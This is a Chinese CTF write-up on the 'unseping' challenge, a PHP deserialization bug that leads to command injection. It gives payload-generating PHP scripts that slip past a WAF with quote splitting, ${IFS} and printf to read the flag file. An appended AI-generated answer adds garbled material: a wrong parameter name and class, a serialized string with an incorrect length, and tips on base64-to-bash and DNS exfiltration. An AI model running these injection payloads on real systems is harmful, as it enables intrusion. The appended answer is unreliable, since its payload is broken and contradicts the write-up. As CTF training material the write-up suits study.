PHP反序列化-CTF-攻防世界-unseping

博客围绕PHP反序列化题目展开,先对源码进行初步审计,分析了case类的魔术方法,包括__wakeup和__destruct方法。通过构造ping方法和输入命令,编写PHP脚本生成payload,使用单双引号、${IFS}、printf等绕过过滤,最终提交payload获取到flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

进入题目直接得到源码,初步代码审计后确定是php反序列化题目

大体来看就是创建了一个case类,然后可接受post传来的参数ctf的值并对其进行base64解码以及反序列化

先看魔术方法:

__wakeup方法使用waf方法对$args的内容进行了过滤,过滤掉了| & ; 空格 / cat flag tac php ls

__destruct方法检测ping是否在$method中,并调用了名为$method的方法,以数组$args中的值作为参数

然后ping方法将输入参数作为外部命令进行执行并返回输出结果

综合来看就是通过$method和__construct来调用构造的ping方法,接着通过$args作为输入口进行命令的输入

那么我们在本地编写一个生成payload的php脚本

<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s'));
$b = serialize($a);

echo $b."</br>";
echo base64_encode(serialize($a));

?>

这里使用了单双引号绕过

生成结果如下

使用hackbar提交此payload,得到

可得flag_1s_here这个目录,那么还需要查看这个目录

<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);

echo $b."</br>";
echo base64_encode(serialize($a));

?>

此处使用了${IFS}绕过了空格过滤,返回结果如下

发现目标文件flag_831b69012c67b35f.php

那么我们就需要构造cat flag_1s_here/flag_831b69012c67b35f.php

<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);

echo $b."</br>";
echo base64_encode(serialize($a));

?>

此时这个最终的payload的中,我们采用单双引号绕过正则过滤,${IFS}绕过空格过滤,printf绕过/过滤

把payload提交 

得到flag 

<think>好的,用户需要关于攻防世界Web新手题'unseping'的解题思路或教程。首先,我要回忆这个题目的具体内容。根据用户提供的引用,题目涉及到PHP反序列化漏洞和命令注入,特别是绕过一个__wakeup魔术方法中的WAF黑名单。 首先,题目中提到了代码接收参数cft,进行反序列化后赋值给method和args,然后通过exec执行命令。关键点在于__wakeup函数中的WAF过滤了某些危险字符,但用户需要绕过黑名单执行命令。引用[4]提到黑名单容易被绕过,可能需要使用参数逃逸或其他方法。 接下来,我应该分步骤解析解题过程。第一步是分析代码结构,确认反序列化的触发点。然后,检查__wakeup中的过滤规则,确定哪些字符被禁止。常见的黑名单可能包括空格、分号、管道符等,但可能存在遗漏。例如,使用${IFS}代替空格,或者使用base64编码绕过。 用户提供的引用中有提到使用exec执行args参数,所以构造一个包含恶意命令的序列化对象是必要的。需要确保在反序列化时,method和args参数被正确赋值,并且绕过WAF的检测。此外,可能需要利用PHP反序列化中的特性,比如对象注入或者魔术方法的触发顺序。 另外,引用[2]和[3]涉及PHP弱类型和HTTP Referer,但当前问题可能不需要这些,所以重点放在引用[4]的反序列化和命令注入上。用户可能需要构造特定的payload,例如序列化后的数据,其中args参数使用绕过黑名单的命令,如使用连接符&&或||,或者使用反引号执行命令。 测试过程中可能需要多次尝试不同的绕过技巧,比如用通配符代替特定字符,或者使用编码转换。例如,将命令转换成base64编码,然后通过解码执行。例如,echo bHM= | base64 -d | bash 这样执行ls命令。 最后,确保在解题报告中详细说明每一步的思考过程和使用的技术,帮助用户理解如何应对类似的CTF题目。同时,生成的相关问题应覆盖漏洞分析、绕过技巧和防御方法,以增强学习效果。</think>### 攻防世界Web新手题'unseping'解题思路 #### 题目背景 题目主要考察**PHP反序列化漏洞利用**与**命令注入绕过黑名单过滤**的能力。代码核心逻辑是通过接收参数`cft`反序列化后触发`ping`方法执行系统命令,但`__wakeup`函数中存在WAF黑名单过滤[^4]。 --- #### 解题步骤 1. **代码逻辑分析** - 接收外部参数`cft`,反序列化为对象后赋值给`method`和`args`。 - 当`method`为`ping`时,调用`exec($args)`执行系统命令。 - **关键漏洞点**:`__wakeup`函数中的WAF仅使用黑名单过滤部分危险字符(如`|`、`;`),但未覆盖所有可能的命令注入方式。 2. **绕过WAF黑名单** - **空格绕过**:使用`${IFS}`或`%09`(Tab的URL编码)替代空格,例如`ls${IFS}/`等价于`ls /`。 - **命令拼接**:利用`||`或`&&`绕过分号过滤,例如`cat flag || ls`。 - **通配符使用**:用`*`匹配文件名,例如`cat fla*`代替`cat flag`。 - **Base64编码**:将命令编码后通过管道执行,例如: ```bash echo "bHM=" | base64 -d | bash # 解码后执行"ls" ``` 3. **构造Payload** - 序列化一个对象,设置`method="ping"`,`args`为绕过黑名单的命令。 - **示例PHP序列化代码**: ```php <?php class Example { public $method = "ping"; public $args = "ls${IFS}/"; } echo serialize(new Example()); ?> ``` 输出:`O:7:"Example":2:{s:6:"method";s:4:"ping";s:4:"args";s:5:"ls${IFS}/";}` 4. **发送Payload** - 将序列化后的字符串作为`cft`参数传递,例如: ``` http://target/?cft=O:7:"Example":2:{s:6:"method";s:4:"ping";s:4:"args";s:5:"ls${IFS}/";} ``` - 若服务器返回目录列表,则继续读取flag文件,例如将`args`改为`cat${IFS}/flag.txt`。 --- #### 关键技巧总结 - **反序列化触发点**:需确保对象属性正确赋值以触发`ping`方法。 - **黑名单绕过**:灵活使用替代符号和编码技术。 - **命令结果获取**:若无回显,可通过DNS外带或延时注入判断。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值